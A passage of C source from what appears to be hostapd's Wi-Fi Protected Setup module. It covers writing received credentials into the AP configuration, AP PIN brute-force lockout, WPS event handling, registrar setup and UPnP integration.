hapd->iface->config_fname); oconf = fopen(hapd->iface->config_fname, "r"); if (oconf == NULL) { wpa_printf(MSG_WARNING, "WPS: Could not open current " "configuration file"); os_free(tmp_fname); return -1; } nconf = fopen(tmp_fname, "w"); if (nconf == NULL) { wpa_printf(MSG_WARNING, "WPS: Could not write updated " "configuration file"); os_free(tmp_fname); fclose(oconf); return -1; } fprintf(nconf, "# WPS configuration - START\n"); fprintf(nconf, "wps_state=2\n"); if (is_hex(cred->ssid, cred->ssid_len)) { fprintf(nconf, "ssid2="); for (i = 0; i < cred->ssid_len; i++) fprintf(nconf, "%02x", cred->ssid[i]); fprintf(nconf, "\n"); } else { fprintf(nconf, "ssid="); for (i = 0; i < cred->ssid_len; i++) fputc(cred->ssid[i], nconf); fprintf(nconf, "\n"); } if ((cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK)) && (cred->auth_type & (WPS_AUTH_WPA | WPS_AUTH_WPAPSK))) wpa = 3; else if (cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK)) wpa = 2; else if (cred->auth_type & (WPS_AUTH_WPA | WPS_AUTH_WPAPSK)) wpa = 1; else wpa = 0; if (wpa) { char *prefix; fprintf(nconf, "wpa=%d\n", wpa); fprintf(nconf, "wpa_key_mgmt="); prefix = ""; if (cred->auth_type & (WPS_AUTH_WPA2 | WPS_AUTH_WPA)) { fprintf(nconf, "WPA-EAP"); prefix = " "; } if (cred->auth_type & (WPS_AUTH_WPA2PSK | WPS_AUTH_WPAPSK)) fprintf(nconf, "%sWPA-PSK", prefix); fprintf(nconf, "\n"); fprintf(nconf, "wpa_pairwise="); prefix = ""; if (cred->encr_type & WPS_ENCR_AES) { if (hapd->iconf->hw_mode == HOSTAPD_MODE_IEEE80211AD) fprintf(nconf, "GCMP"); else fprintf(nconf, "CCMP"); prefix = " "; } if (cred->encr_type & WPS_ENCR_TKIP) { fprintf(nconf, "%sTKIP", prefix); } fprintf(nconf, "\n"); if (cred->key_len >= 8 && cred->key_len < 64) { fprintf(nconf, "wpa_passphrase="); for (i = 0; i < cred->key_len; i++) fputc(cred->key[i], nconf); fprintf(nconf, "\n"); } else if (cred->key_len == 64) { fprintf(nconf, "wpa_psk="); for (i = 0; i < cred->key_len; i++) fputc(cred->key[i], nconf); fprintf(nconf, "\n"); } else { wpa_printf(MSG_WARNING, "WPS: Invalid key length %lu " "for WPA/WPA2", (unsigned long) cred->key_len); } fprintf(nconf, "auth_algs=1\n"); } else { /* * WPS 2.0 does not allow WEP to be configured, so no need to * process that option here either. */ fprintf(nconf, "auth_algs=1\n"); } fprintf(nconf, "# WPS configuration - END\n"); multi_bss = 0; while (fgets(buf, sizeof(buf), oconf)) { if (os_strncmp(buf, "bss=", 4) == 0) multi_bss = 1; if (!multi_bss && (str_starts(buf, "ssid=") || str_starts(buf, "ssid2=") || str_starts(buf, "auth_algs=") || str_starts(buf, "wep_default_key=") || str_starts(buf, "wep_key") || str_starts(buf, "wps_state=") || str_starts(buf, "wpa=") || str_starts(buf, "wpa_psk=") || str_starts(buf, "wpa_pairwise=") || str_starts(buf, "rsn_pairwise=") || str_starts(buf, "wpa_key_mgmt=") || str_starts(buf, "wpa_passphrase="))) { fprintf(nconf, "#WPS# %s", buf); } else fprintf(nconf, "%s", buf); } fclose(nconf); fclose(oconf); if (rename(tmp_fname, hapd->iface->config_fname) < 0) { wpa_printf(MSG_WARNING, "WPS: Failed to rename the updated " "configuration file: %s", strerror(errno)); os_free(tmp_fname); return -1; } os_free(tmp_fname); /* Schedule configuration reload after short period of time to allow * EAP-WSC to be finished. */ eloop_register_timeout(0, 100000, wps_reload_config, hapd->iface, NULL); wpa_printf(MSG_DEBUG, "WPS: AP configuration updated"); return 0; } static int hostapd_wps_cred_cb(void *ctx, const struct wps_credential *cred) { struct hostapd_data *hapd = ctx; return hostapd_wps_for_each(hapd, hapd_wps_cred_cb, (void *) cred); } static void hostapd_wps_reenable_ap_pin(void *eloop_data, void *user_ctx) { struct hostapd_data *hapd = eloop_data; if (hapd->conf->ap_setup_locked) return; if (hapd->ap_pin_failures_consecutive >= 10) return; wpa_printf(MSG_DEBUG, "WPS: Re-enable AP PIN"); wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_AP_SETUP_UNLOCKED); hapd->wps->ap_setup_locked = 0; wps_registrar_update_ie(hapd->wps->registrar); } static int wps_pwd_auth_fail(struct hostapd_data *hapd, void *ctx) { struct wps_event_pwd_auth_fail *data = ctx; if (!data->enrollee || hapd->conf->ap_pin == NULL || hapd->wps == NULL) return 0; /* * Registrar failed to prove its knowledge of the AP PIN. Lock AP setup * for some time if this happens multiple times to slow down brute * force attacks. */ hapd->ap_pin_failures++; hapd->ap_pin_failures_consecutive++; wpa_printf(MSG_DEBUG, "WPS: AP PIN authentication failure number %u " "(%u consecutive)", hapd->ap_pin_failures, hapd->ap_pin_failures_consecutive); if (hapd->ap_pin_failures < 3) return 0; wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_AP_SETUP_LOCKED); hapd->wps->ap_setup_locked = 1; wps_registrar_update_ie(hapd->wps->registrar); if (!hapd->conf->ap_setup_locked && hapd->ap_pin_failures_consecutive >= 10) { /* * In indefinite lockdown - disable automatic AP PIN * reenablement. */ eloop_cancel_timeout(hostapd_wps_reenable_ap_pin, hapd, NULL); wpa_printf(MSG_DEBUG, "WPS: AP PIN disabled indefinitely"); } else if (!hapd->conf->ap_setup_locked) { if (hapd->ap_pin_lockout_time == 0) hapd->ap_pin_lockout_time = 60; else if (hapd->ap_pin_lockout_time < 365 * 24 * 60 * 60 && (hapd->ap_pin_failures % 3) == 0) hapd->ap_pin_lockout_time *= 2; wpa_printf(MSG_DEBUG, "WPS: Disable AP PIN for %u seconds", hapd->ap_pin_lockout_time); eloop_cancel_timeout(hostapd_wps_reenable_ap_pin, hapd, NULL); eloop_register_timeout(hapd->ap_pin_lockout_time, 0, hostapd_wps_reenable_ap_pin, hapd, NULL); } return 0; } static void hostapd_pwd_auth_fail(struct hostapd_data *hapd, struct wps_event_pwd_auth_fail *data) { /* Update WPS Status - Authentication Failure */ wpa_printf(MSG_DEBUG, "WPS: Authentication failure update"); hapd->wps_stats.status = WPS_STATUS_FAILURE; hapd->wps_stats.failure_reason = WPS_EI_AUTH_FAILURE; os_memcpy(hapd->wps_stats.peer_addr, data->peer_macaddr, ETH_ALEN); hostapd_wps_for_each(hapd, wps_pwd_auth_fail, data); } static int wps_ap_pin_success(struct hostapd_data *hapd, void *ctx) { if (hapd->conf->ap_pin == NULL || hapd->wps == NULL) return 0; if (hapd->ap_pin_failures_consecutive == 0) return 0; wpa_printf(MSG_DEBUG, "WPS: Clear consecutive AP PIN failure counter " "- total validation failures %u (%u consecutive)", hapd->ap_pin_failures, hapd->ap_pin_failures_consecutive); hapd->ap_pin_failures_consecutive = 0; return 0; } static void hostapd_wps_ap_pin_success(struct hostapd_data *hapd) { hostapd_wps_for_each(hapd, wps_ap_pin_success, NULL); } static void hostapd_wps_event_pbc_overlap(struct hostapd_data *hapd) { /* Update WPS Status - PBC Overlap */ hapd->wps_stats.pbc_status = WPS_PBC_STATUS_OVERLAP; } static void hostapd_wps_event_pbc_timeout(struct hostapd_data *hapd) { /* Update WPS PBC Status:PBC Timeout */ hapd->wps_stats.pbc_status = WPS_PBC_STATUS_TIMEOUT; } static void hostapd_wps_event_pbc_active(struct hostapd_data *hapd) { /* Update WPS PBC status - Active */ hapd->wps_stats.pbc_status = WPS_PBC_STATUS_ACTIVE; } static void hostapd_wps_event_pbc_disable(struct hostapd_data *hapd) { /* Update WPS PBC status - Active */ hapd->wps_stats.pbc_status = WPS_PBC_STATUS_DISABLE; } static void hostapd_wps_event_success(struct hostapd_data *hapd, struct wps_event_success *success) { /* Update WPS status - Success */ hapd->wps_stats.pbc_status = WPS_PBC_STATUS_DISABLE; hapd->wps_stats.status = WPS_STATUS_SUCCESS; os_memcpy(hapd->wps_stats.peer_addr, success->peer_macaddr, ETH_ALEN); } static void hostapd_wps_event_fail(struct hostapd_data *hapd, struct wps_event_fail *fail) { /* Update WPS status - Failure */ hapd->wps_stats.status = WPS_STATUS_FAILURE; os_memcpy(hapd->wps_stats.peer_addr, fail->peer_macaddr, ETH_ALEN); hapd->wps_stats.failure_reason = fail->error_indication; if (fail->error_indication > 0 && fail->error_indication < NUM_WPS_EI_VALUES) { wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_FAIL "msg=%d config_error=%d reason=%d (%s)", fail->msg, fail->config_error, fail->error_indication, wps_ei_str(fail->error_indication)); } else { wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_FAIL "msg=%d config_error=%d", fail->msg, fail->config_error); } } static void hostapd_wps_event_cb(void *ctx, enum wps_event event, union wps_event_data *data) { struct hostapd_data *hapd = ctx; switch (event) { case WPS_EV_M2D: wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_M2D); break; case WPS_EV_FAIL: hostapd_wps_event_fail(hapd, &data->fail); break; case WPS_EV_SUCCESS: hostapd_wps_event_success(hapd, &data->success); wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_SUCCESS); break; case WPS_EV_PWD_AUTH_FAIL: hostapd_pwd_auth_fail(hapd, &data->pwd_auth_fail); break; case WPS_EV_PBC_OVERLAP: hostapd_wps_event_pbc_overlap(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_OVERLAP); break; case WPS_EV_PBC_TIMEOUT: hostapd_wps_event_pbc_timeout(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_TIMEOUT); break; case WPS_EV_PBC_ACTIVE: hostapd_wps_event_pbc_active(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_ACTIVE); break; case WPS_EV_PBC_DISABLE: hostapd_wps_event_pbc_disable(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_DISABLE); break; case WPS_EV_ER_AP_ADD: break; case WPS_EV_ER_AP_REMOVE: break; case WPS_EV_ER_ENROLLEE_ADD: break; case WPS_EV_ER_ENROLLEE_REMOVE: break; case WPS_EV_ER_AP_SETTINGS: break; case WPS_EV_ER_SET_SELECTED_REGISTRAR: break; case WPS_EV_AP_PIN_SUCCESS: hostapd_wps_ap_pin_success(hapd); break; } if (hapd->wps_event_cb) hapd->wps_event_cb(hapd->wps_event_cb_ctx, event, data); } static int hostapd_wps_rf_band_cb(void *ctx) { struct hostapd_data *hapd = ctx; return hapd->iconf->hw_mode == HOSTAPD_MODE_IEEE80211A ? WPS_RF_50GHZ : hapd->iconf->hw_mode == HOSTAPD_MODE_IEEE80211AD ? WPS_RF_60GHZ : WPS_RF_24GHZ; /* FIX: dualband AP */ } static void hostapd_wps_clear_ies(struct hostapd_data *hapd, int deinit_only) { wpabuf_free(hapd->wps_beacon_ie); hapd->wps_beacon_ie = NULL; wpabuf_free(hapd->wps_probe_resp_ie); hapd->wps_probe_resp_ie = NULL; if (deinit_only) { if (hapd->drv_priv) hostapd_reset_ap_wps_ie(hapd); return; } hostapd_set_ap_wps_ie(hapd); } static int get_uuid_cb(struct hostapd_iface *iface, void *ctx) { const u8 **uuid = ctx; size_t j; if (iface == NULL) return 0; for (j = 0; j < iface->num_bss; j++) { struct hostapd_data *hapd = iface->bss[j]; if (hapd->wps && !hapd->conf->wps_independent && !is_nil_uuid(hapd->wps->uuid)) { *uuid = hapd->wps->uuid; return 1; } } return 0; } static const u8 * get_own_uuid(struct hostapd_iface *iface) { const u8 *uuid; if (iface->interfaces == NULL || iface->interfaces->for_each_interface == NULL) return NULL; uuid = NULL; iface->interfaces->for_each_interface(iface->interfaces, get_uuid_cb, &uuid); return uuid; } static int count_interface_cb(struct hostapd_iface *iface, void *ctx) { int *count= ctx; (*count)++; return 0; } static int interface_count(struct hostapd_iface *iface) { int count = 0; if (iface->interfaces == NULL || iface->interfaces->for_each_interface == NULL) return 0; iface->interfaces->for_each_interface(iface->interfaces, count_interface_cb, &count); return count; } static int hostapd_wps_set_vendor_ext(struct hostapd_data *hapd, struct wps_context *wps) { int i; for (i = 0; i < MAX_WPS_VENDOR_EXTENSIONS; i++) { wpabuf_free(wps->dev.vendor_ext[i]); wps->dev.vendor_ext[i] = NULL; if (hapd->conf->wps_vendor_ext[i] == NULL) continue; wps->dev.vendor_ext[i] = wpabuf_dup(hapd->conf->wps_vendor_ext[i]); if (wps->dev.vendor_ext[i] == NULL) { while (--i >= 0) wpabuf_free(wps->dev.vendor_ext[i]); return -1; } } return 0; } static void hostapd_free_wps(struct wps_context *wps) { int i; for (i = 0; i < MAX_WPS_VENDOR_EXTENSIONS; i++) wpabuf_free(wps->dev.vendor_ext[i]); wps_device_data_free(&wps->dev); os_free(wps->network_key); hostapd_wps_nfc_clear(wps); wpabuf_free(wps->dh_pubkey); wpabuf_free(wps->dh_privkey); os_free(wps); } int hostapd_init_wps(struct hostapd_data *hapd, struct hostapd_bss_config *conf) { struct wps_context *wps; struct wps_registrar_config cfg; if (conf->wps_state == 0) { hostapd_wps_clear_ies(hapd, 0); return 0; } wps = os_zalloc(sizeof(*wps)); if (wps == NULL) return -1; wps->cred_cb = hostapd_wps_cred_cb; wps->event_cb = hostapd_wps_event_cb; wps->rf_band_cb = hostapd_wps_rf_band_cb; wps->cb_ctx = hapd; os_memset(&cfg, 0, sizeof(cfg)); wps->wps_state = hapd->conf->wps_state; wps->ap_setup_locked = hapd->conf->ap_setup_locked; if (is_nil_uuid(hapd->conf->uuid)) { const u8 *uuid; uuid = get_own_uuid(hapd->iface); if (uuid && !conf->wps_independent) { os_memcpy(wps->uuid, uuid, UUID_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Clone UUID from another " "interface", wps->uuid, UUID_LEN); } else { uuid_gen_mac_addr(hapd->own_addr, wps->uuid); wpa_hexdump(MSG_DEBUG, "WPS: UUID based on MAC " "address", wps->uuid, UUID_LEN); } } else { os_memcpy(wps->uuid, hapd->conf->uuid, UUID_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Use configured UUID", wps->uuid, UUID_LEN); } wps->ssid_len = hapd->conf->ssid.ssid_len; os_memcpy(wps->ssid, hapd->conf->ssid.ssid, wps->ssid_len); wps->ap = 1; os_memcpy(wps->dev.mac_addr, hapd->own_addr, ETH_ALEN); wps->dev.device_name = hapd->conf->device_name ? os_strdup(hapd->conf->device_name) : NULL; wps->dev.manufacturer = hapd->conf->manufacturer ? os_strdup(hapd->conf->manufacturer) : NULL; wps->dev.model_name = hapd->conf->model_name ? os_strdup(hapd->conf->model_name) : NULL; wps->dev.model_number = hapd->conf->model_number ? os_strdup(hapd->conf->model_number) : NULL; wps->dev.serial_number = hapd->conf->serial_number ? os_strdup(hapd->conf->serial_number) : NULL; wps->config_methods = wps_config_methods_str2bin(hapd->conf->config_methods); if ((wps->config_methods & (WPS_CONFIG_DISPLAY | WPS_CONFIG_VIRT_DISPLAY | WPS_CONFIG_PHY_DISPLAY)) == WPS_CONFIG_DISPLAY) { wpa_printf(MSG_INFO, "WPS: Converting display to " "virtual_display for WPS 2.0 compliance"); wps->config_methods |= WPS_CONFIG_VIRT_DISPLAY; } if ((wps->config_methods & (WPS_CONFIG_PUSHBUTTON | WPS_CONFIG_VIRT_PUSHBUTTON | WPS_CONFIG_PHY_PUSHBUTTON)) == WPS_CONFIG_PUSHBUTTON) { wpa_printf(MSG_INFO, "WPS: Converting push_button to " "virtual_push_button for WPS 2.0 compliance"); wps->config_methods |= WPS_CONFIG_VIRT_PUSHBUTTON; } os_memcpy(wps->dev.pri_dev_type, hapd->conf->device_type, WPS_DEV_TYPE_LEN); if (hostapd_wps_set_vendor_ext(hapd, wps) < 0) goto fail; wps->dev.os_version = WPA_GET_BE32(hapd->conf->os_version); if (conf->wps_rf_bands) { wps->dev.rf_bands = conf->wps_rf_bands; } else { wps->dev.rf_bands = hapd->iconf->hw_mode == HOSTAPD_MODE_IEEE80211A ? WPS_RF_50GHZ : hapd->iconf->hw_mode == HOSTAPD_MODE_IEEE80211AD ? WPS_RF_60GHZ : WPS_RF_24GHZ; /* FIX: dualband AP */ } if (conf->wpa & WPA_PROTO_RSN) { if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK) wps->auth_types |= WPS_AUTH_WPA2PSK; if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X) wps->auth_types |= WPS_AUTH_WPA2; if (conf->rsn_pairwise & (WPA_CIPHER_CCMP | WPA_CIPHER_GCMP | WPA_CIPHER_CCMP_256 | WPA_CIPHER_GCMP_256)) { wps->encr_types |= WPS_ENCR_AES; wps->encr_types_rsn |= WPS_ENCR_AES; } if (conf->rsn_pairwise & WPA_CIPHER_TKIP) { wps->encr_types |= WPS_ENCR_TKIP; wps->encr_types_rsn |= WPS_ENCR_TKIP; } } if (conf->wpa & WPA_PROTO_WPA) { if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK) wps->auth_types |= WPS_AUTH_WPAPSK; if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X) wps->auth_types |= WPS_AUTH_WPA; if (conf->wpa_pairwise & WPA_CIPHER_CCMP) { wps->encr_types |= WPS_ENCR_AES; wps->encr_types_wpa |= WPS_ENCR_AES; } if (conf->wpa_pairwise & WPA_CIPHER_TKIP) { wps->encr_types |= WPS_ENCR_TKIP; wps->encr_types_wpa |= WPS_ENCR_TKIP; } } if (conf->ssid.security_policy == SECURITY_PLAINTEXT) { wps->encr_types |= WPS_ENCR_NONE; wps->auth_types |= WPS_AUTH_OPEN; } if (conf->ssid.wpa_psk_file) { /* Use per-device PSKs */ } else if (conf->ssid.wpa_passphrase) { wps->network_key = (u8 *) os_strdup(conf->ssid.wpa_passphrase); wps->network_key_len = os_strlen(conf->ssid.wpa_passphrase); } else if (conf->ssid.wpa_psk) { wps->network_key = os_malloc(2 * PMK_LEN + 1); if (wps->network_key == NULL) goto fail; wpa_snprintf_hex((char *) wps->network_key, 2 * PMK_LEN + 1, conf->ssid.wpa_psk->psk, PMK_LEN); wps->network_key_len = 2 * PMK_LEN; } else if (conf->ssid.wep.keys_set && conf->ssid.wep.key[0]) { wps->network_key = os_malloc(conf->ssid.wep.len[0]); if (wps->network_key == NULL) goto fail; os_memcpy(wps->network_key, conf->ssid.wep.key[0], conf->ssid.wep.len[0]); wps->network_key_len = conf->ssid.wep.len[0]; } if (conf->ssid.wpa_psk) { os_memcpy(wps->psk, conf->ssid.wpa_psk->psk, PMK_LEN); wps->psk_set = 1; } wps->ap_auth_type = wps->auth_types; wps->ap_encr_type = wps->encr_types; if (conf->wps_state == WPS_STATE_NOT_CONFIGURED) { /* Override parameters to enable security by default */ wps->auth_types = WPS_AUTH_WPA2PSK | WPS_AUTH_WPAPSK; wps->encr_types = WPS_ENCR_AES | WPS_ENCR_TKIP; wps->encr_types_rsn = WPS_ENCR_AES | WPS_ENCR_TKIP; wps->encr_types_wpa = WPS_ENCR_AES | WPS_ENCR_TKIP; } wps->ap_settings = conf->ap_settings; wps->ap_settings_len = conf->ap_settings_len; cfg.new_psk_cb = hostapd_wps_new_psk_cb; cfg.set_ie_cb = hostapd_wps_set_ie_cb; cfg.pin_needed_cb = hostapd_wps_pin_needed_cb; cfg.reg_success_cb = hostapd_wps_reg_success_cb; cfg.enrollee_seen_cb = hostapd_wps_enrollee_seen_cb; cfg.cb_ctx = hapd; cfg.skip_cred_build = conf->skip_cred_build; cfg.extra_cred = conf->extra_cred; cfg.extra_cred_len = conf->extra_cred_len; cfg.disable_auto_conf = (hapd->conf->wps_cred_processing == 1) && conf->skip_cred_build; if (conf->ssid.security_policy == SECURITY_STATIC_WEP) cfg.static_wep_only = 1; cfg.dualband = interface_count(hapd->iface) > 1; if ((wps->dev.rf_bands & (WPS_RF_50GHZ | WPS_RF_24GHZ)) == (WPS_RF_50GHZ | WPS_RF_24GHZ)) cfg.dualband = 1; if (cfg.dualband) wpa_printf(MSG_DEBUG, "WPS: Dualband AP"); cfg.force_per_enrollee_psk = conf->force_per_enrollee_psk; wps->registrar = wps_registrar_init(wps, &cfg); if (wps->registrar == NULL) { wpa_printf(MSG_ERROR, "Failed to initialize WPS Registrar"); goto fail; } #ifdef CONFIG_WPS_UPNP wps->friendly_name = hapd->conf->friendly_name; wps->manufacturer_url = hapd->conf->manufacturer_url; wps->model_description = hapd->conf->model_description; wps->model_url = hapd->conf->model_url; wps->upc = hapd->conf->upc; #endif /* CONFIG_WPS_UPNP */ hostapd_register_probereq_cb(hapd, hostapd_wps_probe_req_rx, hapd); hapd->wps = wps; return 0; fail: hostapd_free_wps(wps); return -1; } int hostapd_init_wps_complete(struct hostapd_data *hapd) { struct wps_context *wps = hapd->wps; if (wps == NULL) return 0; #ifdef CONFIG_WPS_UPNP if (hostapd_wps_upnp_init(hapd, wps) < 0) { wpa_printf(MSG_ERROR, "Failed to initialize WPS UPnP"); wps_registrar_deinit(wps->registrar); hostapd_free_wps(wps); hapd->wps = NULL; return -1; } #endif /* CONFIG_WPS_UPNP */ return 0; } static void hostapd_wps_nfc_clear(struct wps_context *wps) { #ifdef CONFIG_WPS_NFC wpa_printf(MSG_DEBUG, "WPS: Clear NFC Tag context %p", wps); wps->ap_nfc_dev_pw_id = 0; wpabuf_free(wps->ap_nfc_dh_pubkey); wps->ap_nfc_dh_pubkey = NULL; wpabuf_free(wps->ap_nfc_dh_privkey); wps->ap_nfc_dh_privkey = NULL; wpabuf_free(wps->ap_nfc_dev_pw); wps->ap_nfc_dev_pw = NULL; #endif /* CONFIG_WPS_NFC */ } void hostapd_deinit_wps(struct hostapd_data *hapd) { eloop_cancel_timeout(hostapd_wps_reenable_ap_pin, hapd, NULL); eloop_cancel_timeout(hostapd_wps_ap_pin_timeout, hapd, NULL); eloop_cancel_timeout(wps_reload_config, hapd->iface, NULL); if (hapd->wps == NULL) { hostapd_wps_clear_ies(hapd, 1); return; } #ifdef CONFIG_WPS_UPNP hostapd_wps_upnp_deinit(hapd); #endif /* CONFIG_WPS_UPNP */ wps_registrar_deinit(hapd->wps->registrar); wps_free_pending_msgs(hapd->wps->upnp_msgs); hostapd_free_wps(hapd->wps); hapd->wps = NULL; hostapd_wps_clear_ies(hapd, 1); } void hostapd_update_wps(struct hostapd_data *hapd) { if (hapd->wps == NULL) return; #ifdef CONFIG_WPS_UPNP hapd->wps->friendly_name = hapd->conf->friendly_name; hapd->wps->manufacturer_url = hapd->conf->manufacturer_url; hapd->wps->model_description = hapd->conf->model_description; hapd->wps->model_url = hapd->conf->model_url; hapd->wps->upc = hapd->conf->upc; #endif /* CONFIG_WPS_UPNP */ hostapd_wps_set_vendor_ext(hapd, hapd->wps); if (hapd->conf->wps_state) wps_registrar_update_ie(hapd->wps->registrar); else hostapd_deinit_wps(hapd); } struct wps_add_pin_data { const u8 *addr; const u8 *uuid; const u8 *pin; size_t pin_len; int timeout; int added; }; static int wps_add_pin(struct hostapd_data *hapd, void *ctx) { struct wps_add_pin_data *data = ctx; int ret; if (hapd->wps == NULL) return 0; ret = wps_registrar_add_pin(hapd->wps->registrar, data->addr, data->uuid, data->pin, data->pin_len, data->timeout); if (ret == 0) data->added++; return ret; } int hostapd_wps_add_pin(struct hostapd_data *hapd, const u8 *addr, const char *uuid, const char *pin, int timeout) { u8 u[UUID_LEN]; struct wps_add_pin_data data; data.addr = addr; data.uuid = u; data.pin = (const u8 *) pin; data.pin_len = os_strlen(pin); data.timeout = timeout; data.added = 0; if (os_strcmp(uuid, "any") == 0) data.uuid = NULL; else { if (uuid_str2bin(uuid, u)) return -1; data.uuid = u; } if (hostapd_wps_for_each(hapd, wps_add_pin, &data) < 0) return -1; return data.added ? 0 : -1; } struct wps_button_pushed_ctx { const u8 *p2p_dev_addr; unsigned int count; }; static int wps_button_pushed(struct hostapd_data *hapd, void *ctx) { struct wps_button_pushed_ctx *data = ctx; if (hapd->wps) { data->count++; return wps_registrar_button_pushed(hapd->wps->registrar, data->p2p_dev_addr); } return 0; } int hostapd_wps_button_pushed(struct hostapd_data *hapd, const u8 *p2p_dev_addr) { struct wps_button_pushed_ctx ctx; int ret; os_memset(&ctx, 0, sizeof(ctx)); ctx.p2p_dev_addr = p2p_dev_addr; ret = hostapd_wps_for_each(hapd, wps_button_pushed, &ctx); if (ret == 0 && !ctx.count) ret = -1; return ret; } struct wps_cancel_ctx { unsigned int count; }; static int wps_cancel(struct hostapd_data *hapd, void *ctx) { struct wps_cancel_ctx *data = ctx; if (hapd->wps) { data->count++; wps_registrar_wps_cancel(hapd->wps->registrar); ap_for_each_sta(hapd, ap_sta_wps_cancel, NULL); } return 0; } int hostapd_wps_cancel(struct hostapd_data *hapd) { struct wps_cancel_ctx ctx; int ret; os_memset(&ctx, 0, sizeof(ctx)); ret = hostapd_wps_for_each(hapd, wps_cancel, &ctx); if (ret == 0 && !ctx.count) ret = -1; return ret; } static int hostapd_wps_probe_req_rx(void *ctx, const u8 *addr, const u8 *da, const u8 *bssid, const u8 *ie, size_t ie_len, int ssi_signal) { struct hostapd_data *hapd = ctx; struct wpabuf *wps_ie; struct ieee802_11_elems elems; if (hapd->wps == NULL) return 0; if (ieee802_11_parse_elems(ie, ie_len, &elems, 0) == ParseFailed) { wpa_printf(MSG_DEBUG, "WPS: Could not parse ProbeReq from " MACSTR, MAC2STR(addr)); return 0; } if (elems.ssid && elems.ssid_len > 0 && (elems.ssid_len != hapd->conf->ssid.ssid_len || os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) != 0)) return 0; /* Not for us */ wps_ie = ieee802_11_vendor_ie_concat(ie, ie_len, WPS_DEV_OUI_WFA); if (wps_ie == NULL) return 0; if (wps_validate_probe_req(wps_ie, addr) < 0) { wpabuf_free(wps_ie); return 0; } if (wpabuf_len(wps_ie) > 0) { int p2p_wildcard = 0; #ifdef CONFIG_P2P if (elems.ssid && elems.ssid_len == P2P_WILDCARD_SSID_LEN && os_memcmp(elems.ssid, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN) == 0) p2p_wildcard = 1; #endif /* CONFIG_P2P */ wps_registrar_probe_req_rx(hapd->wps->registrar, addr, wps_ie, p2p_wildcard); #ifdef CONFIG_WPS_UPNP /* FIX: what exactly should be included in the WLANEvent? * WPS attributes? Full ProbeReq frame? */ if (!p2p_wildcard) upnp_wps_device_send_wlan_event( hapd->wps_upnp, addr, UPNP_WPS_WLANEVENT_TYPE_PROBE, wps_ie); #endif /* CONFIG_WPS_UPNP */ } wpabuf_free(wps_ie); return 0; } #ifdef CONFIG_WPS_UPNP static int hostapd_rx_req_put_wlan_response( void *priv, enum upnp_wps_wlanevent_type ev_type, const u8 *mac_addr, const struct wpabuf *msg, enum wps_msg_type msg_type) { struct hostapd_data *hapd = priv; struct sta_info *sta; struct upnp_pending_message *p; wpa_printf(MSG_DEBUG, "WPS UPnP: PutWLANResponse ev_type=%d mac_addr=" MACSTR, ev_type, MAC2STR(mac_addr)); wpa_hexdump(MSG_MSGDUMP, "WPS UPnP: PutWLANResponse NewMessage", wpabuf_head(msg), wpabuf_len(msg)); if (ev_type != UPNP_WPS_WLANEVENT_TYPE_EAP) { wpa_printf(MSG_DEBUG, "WPS UPnP: Ignored unexpected " "PutWLANResponse WLANEventType %d", ev_type); return -1; } /* * EAP response to ongoing to WPS Registration. Send it to EAP-WSC * server implementation for delivery to the peer. */ sta = ap_get_sta(hapd, mac_addr); #ifndef CONFIG_WPS_STRICT if (!sta) { /* * Workaround - Intel wsccmd uses bogus NewWLANEventMAC: * Pick STA that is in an ongoing WPS registration without * checking the MAC address. */ wpa_printf(MSG_DEBUG, "WPS UPnP: No matching STA found based " "on NewWLANEventMAC; try wildcard match"); for (sta = hapd->sta_list; sta; sta = sta->next) { if (sta->eapol_sm && (sta->flags & WLAN_STA_WPS)) break; } } #endif /* CONFIG_WPS_STRICT */ if (!sta || !(sta->flags & WLAN_STA_WPS)) { wpa_printf(MSG_DEBUG, "WPS UPnP: No matching STA found"); return 0; } if (!sta->eapol_sm) { /* * This can happen, e.g., if an ER sends an extra message after * the station has disassociated (but not fully * deauthenticated). */ wpa_printf(MSG_DEBUG, "WPS UPnP: Matching STA did not have EAPOL state machine initialized"); return 0; } p = os_zalloc(sizeof(*p)); if (p == NULL) return -1; os_memcpy(p->addr, sta->addr, ETH_ALEN); p->msg = wpabuf_dup(msg); p->type = msg_type; p->next = hapd->wps->upnp_msgs; hapd->wps->upnp_msgs = p; return eapol_auth_eap_pending_cb(sta->eapol_sm, sta->eapol_sm->eap); } static int hostapd_wps_upnp_init(struct hostapd_data *hapd, struct wps_context *wps) { struct upnp_wps_device_ctx *ctx; if (!hapd->conf->upnp_iface) return 0; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return -1; ctx->rx_req_put_wlan_response = hostapd_rx_req_put_wlan_response; if (hapd->conf->ap_pin) ctx->ap_pin = os_strdup(hapd->conf->ap_pin); hapd->wps_upnp = upnp_wps_device_init(ctx, wps, hapd, hapd->conf->upnp_iface); if (hapd->wps_upnp == NULL) return -1; wps->wps_upnp = hapd->wps_upnp; return 0; } static void hostapd_wps_upnp_deinit(struct hostapd_data *hapd) { upnp_wps_device_deinit(hapd->wps_upnp, hapd); } #endif /* CONFIG_WPS_UPNP */ int hostapd_wps_get_mib_sta(struct hostapd_data *hapd, const u8 *addr, char *buf, size_t buflen) { if (hapd->wps == NULL) return 0; return wps_registrar_get_info(hapd->wps->registrar, addr, buf, buflen); } static void hostapd_wps_ap_pin_timeout(void *eloop_data, void *user_ctx) { struct hostapd_data *hapd = eloop_data; wpa_printf(MSG_DEBUG, "WPS: AP PIN timed out"); 